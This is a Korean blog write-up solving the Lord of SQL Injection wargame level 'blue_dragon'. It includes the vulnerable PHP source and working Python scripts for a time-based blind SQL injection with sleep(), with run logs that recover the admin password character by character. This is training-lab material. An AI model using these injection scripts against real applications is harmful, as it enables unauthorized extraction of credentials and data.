Oh! JUN

[Lord Of SQL Injection] 27번(sleep()함수를 활용해 시간 차 출력) 본문

문제풀이/Lord of SQL Injection

[Lord Of SQL Injection] 27번(sleep()함수를 활용해 시간 차 출력)

Kwon Oh! JUN 2022. 3. 6. 18:11

query : select id from prob_blue_dragon where id='' and pw=''



<?php
  
include "./config.php";
  
login_chk();
  
$db dbconnect();
  if(
preg_match('/prob|_|\./i'$_GET[id])) exit("No Hack ~_~");
  if(
preg_match('/prob|_|\./i'$_GET[pw])) exit("No Hack ~_~");
  
$query "select id from prob_blue_dragon where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
  echo 
"<hr>query : <strong>{$query}</strong><hr><br>";
  
$result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(
preg_match('/\'|\\\/i'$_GET[id])) exit("No Hack ~_~");
  if(
preg_match('/\'|\\\/i'$_GET[pw])) exit("No Hack ~_~");
  if(
$result['id']) echo "<h2>Hello {$result[id]}</h2>";

  
$_GET[pw] = addslashes($_GET[pw]);
  
$query "select pw from prob_blue_dragon where id='admin' and pw='{$_GET[pw]}'";
  
$result = @mysqli_fetch_array(mysqli_query($db,$query));
  if((
$result['pw']) && ($result['pw'] == $_GET['pw'])) solve("blue_dragon");
  
highlight_file(__FILE__);
?>

 

기존문제들과 다른점 있다면

  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(
preg_match('/\'|\\\/i'$_GET[id])) exit("No Hack ~_~");
  if(
preg_match('/\'|\\\/i'$_GET[pw])) exit("No Hack ~_~");

 

$query "select id from prob_blue_dragon where id='{$_GET[id]}' and pw='{$_GET[pw]}'";

쿼리에 들어는 가는데 ', \ 사용하면 exit되어서 Hello admin 또는 Hello guest를 확인할 수가 없다.

 

그래서 다른 방법으로 출력을 통해 참과 거짓을 판단할 수 있어야하는데 여기서는 sleep()함수를 사용해서 결과물이 출력되기까지 걸리는 시간을 비교하여 참과 거짓을 판단할것이다.

 

★ 패스워드 길이

import string
import requests
import time

url = "https://los.rubiya.kr/chall/blue_dragon_23f2e3c81dca66e496c7de2d63b82984.php"
cookie = dict(PHPSESSID="p7n4vui95pcq3j0tjff7lrgfgj")

asc = string.digits+string.ascii_letters
result = ""

for i in range(1, 100):
    param = "?id=admin' and if(length(pw)='"+str(i)+"', sleep(3), 0) %23"
    res_url = url+param
    before = time.time()
    response = requests.get(res_url, cookies=cookie)
    after = time.time()
    print(param)
    print(str(i)+" : "+str(after - before))
         
    if after - before > 3:
        print(i)
        break

print("pw의 길이: "+str(i))
?id=admin' and if(length(pw)='1', sleep(3), 0) %23
1 : 0.32494115829467773
?id=admin' and if(length(pw)='2', sleep(3), 0) %23
2 : 0.26311779022216797
?id=admin' and if(length(pw)='3', sleep(3), 0) %23
3 : 0.15965533256530762
?id=admin' and if(length(pw)='4', sleep(3), 0) %23
4 : 0.2677326202392578
?id=admin' and if(length(pw)='5', sleep(3), 0) %23
5 : 0.26026058197021484
?id=admin' and if(length(pw)='6', sleep(3), 0) %23
6 : 0.19182825088500977
?id=admin' and if(length(pw)='7', sleep(3), 0) %23
7 : 0.2710087299346924
?id=admin' and if(length(pw)='8', sleep(3), 0) %23
8 : 3.2786200046539307
8
pw의 길이: 8

 

 

if(length(pw)='"+str(i)+"', sleep(3), 0)

pw의 길이를 1~99까지 집어넣어서 참이면 sleep(3) 출력하는데 3초의 시간이 걸린다. 아니면 0초 즉 바로 출력한다.

(위에 출력된걸 보면 알겠지만 3초, 0초를 줬다고 해서 딱 그시간에 맞아 떨어지는건 아니다.)

 

before = time.time()
after = time.time()

time.time()은 현재시간을 나타내는데 그래서 

before은 request.get 요청하기전 시간이고 after은 요청 후 이다.  

 

    if after - before > 3:
        print(i)
        break

after - before 요청 후 시간에서 요청 전 시간을 빼주면 출력하는데 걸리는 시간이 된다.

그래서 3초보다 크면 pw의 길이가 출력된다.(3초 보다 같아야되는거 아닌가 할 수 있지만 위에서 언급했다시피 편차가 있어서 크다고 표현하는게 맞다.)


★ 패스워드 값

import string
import requests
import time

url = "https://los.rubiya.kr/chall/blue_dragon_23f2e3c81dca66e496c7de2d63b82984.php"
cookie = dict(PHPSESSID="p7n4vui95pcq3j0tjff7lrgfgj")

asc = string.digits+string.ascii_letters
result = ""

for i in range(1, 9):
    for j in asc:
         param = "?id=admin' and if(right(left(pw, "+str(i)+"),1)='"+str(j)+"', sleep(3), 0) %23"
         res_url = url+param
         before = time.time()
         response = requests.get(res_url, cookies=cookie)
         after = time.time()
         print(param)
         print(j+" : "+str(after - before))
         
         if after - before > 3:
             print(j)
             result = result + j
             break

print(result)
.
.
.
?id=admin' and if(right(left(pw, 7),1)='4', sleep(3), 0) %23
4 : 0.31208062171936035
?id=admin' and if(right(left(pw, 7),1)='5', sleep(3), 0) %23
5 : 0.2655777931213379
?id=admin' and if(right(left(pw, 7),1)='6', sleep(3), 0) %23
6 : 0.27481651306152344
?id=admin' and if(right(left(pw, 7),1)='7', sleep(3), 0) %23
7 : 0.25909972190856934
?id=admin' and if(right(left(pw, 7),1)='8', sleep(3), 0) %23
8 : 0.25923991203308105
?id=admin' and if(right(left(pw, 7),1)='9', sleep(3), 0) %23
9 : 0.2585155963897705
?id=admin' and if(right(left(pw, 7),1)='a', sleep(3), 0) %23
a : 3.2814390659332275
a
?id=admin' and if(right(left(pw, 8),1)='0', sleep(3), 0) %23
0 : 3.1829264163970947
0
d948b8a0
if(right(left(pw, "+str(i)+"),1)='"+str(j)+"', sleep(3), 0)

pw의 한 단어씩 string.digits, string.ascii_letters 매칭시켜서 참이면 3초 아니면 0초 즉 바로 출력된다.



query : select id from prob_blue_dragon where id='' and pw='d948b8a0'


 

BLUE_DRAGON Clear!


<?php
  
include "./config.php";
  
login_chk();
  
$db dbconnect();
  if(
preg_match('/prob|_|\./i'$_GET[id])) exit("No Hack ~_~");
  if(
preg_match('/prob|_|\./i'$_GET[pw])) exit("No Hack ~_~");
  
$query "select id from prob_blue_dragon where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
  echo 
"<hr>query : <strong>{$query}</strong><hr><br>";
  
$result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(
preg_match('/\'|\\\/i'$_GET[id])) exit("No Hack ~_~");
  if(
preg_match('/\'|\\\/i'$_GET[pw])) exit("No Hack ~_~");
  if(
$result['id']) echo "<h2>Hello {$result[id]}</h2>";

  
$_GET[pw] = addslashes($_GET[pw]);
  
$query "select pw from prob_blue_dragon where id='admin' and pw='{$_GET[pw]}'";
  
$result = @mysqli_fetch_array(mysqli_query($db,$query));
  if((
$result['pw']) && ($result['pw'] == $_GET['pw'])) solve("blue_dragon");
  
highlight_file(__FILE__);
?>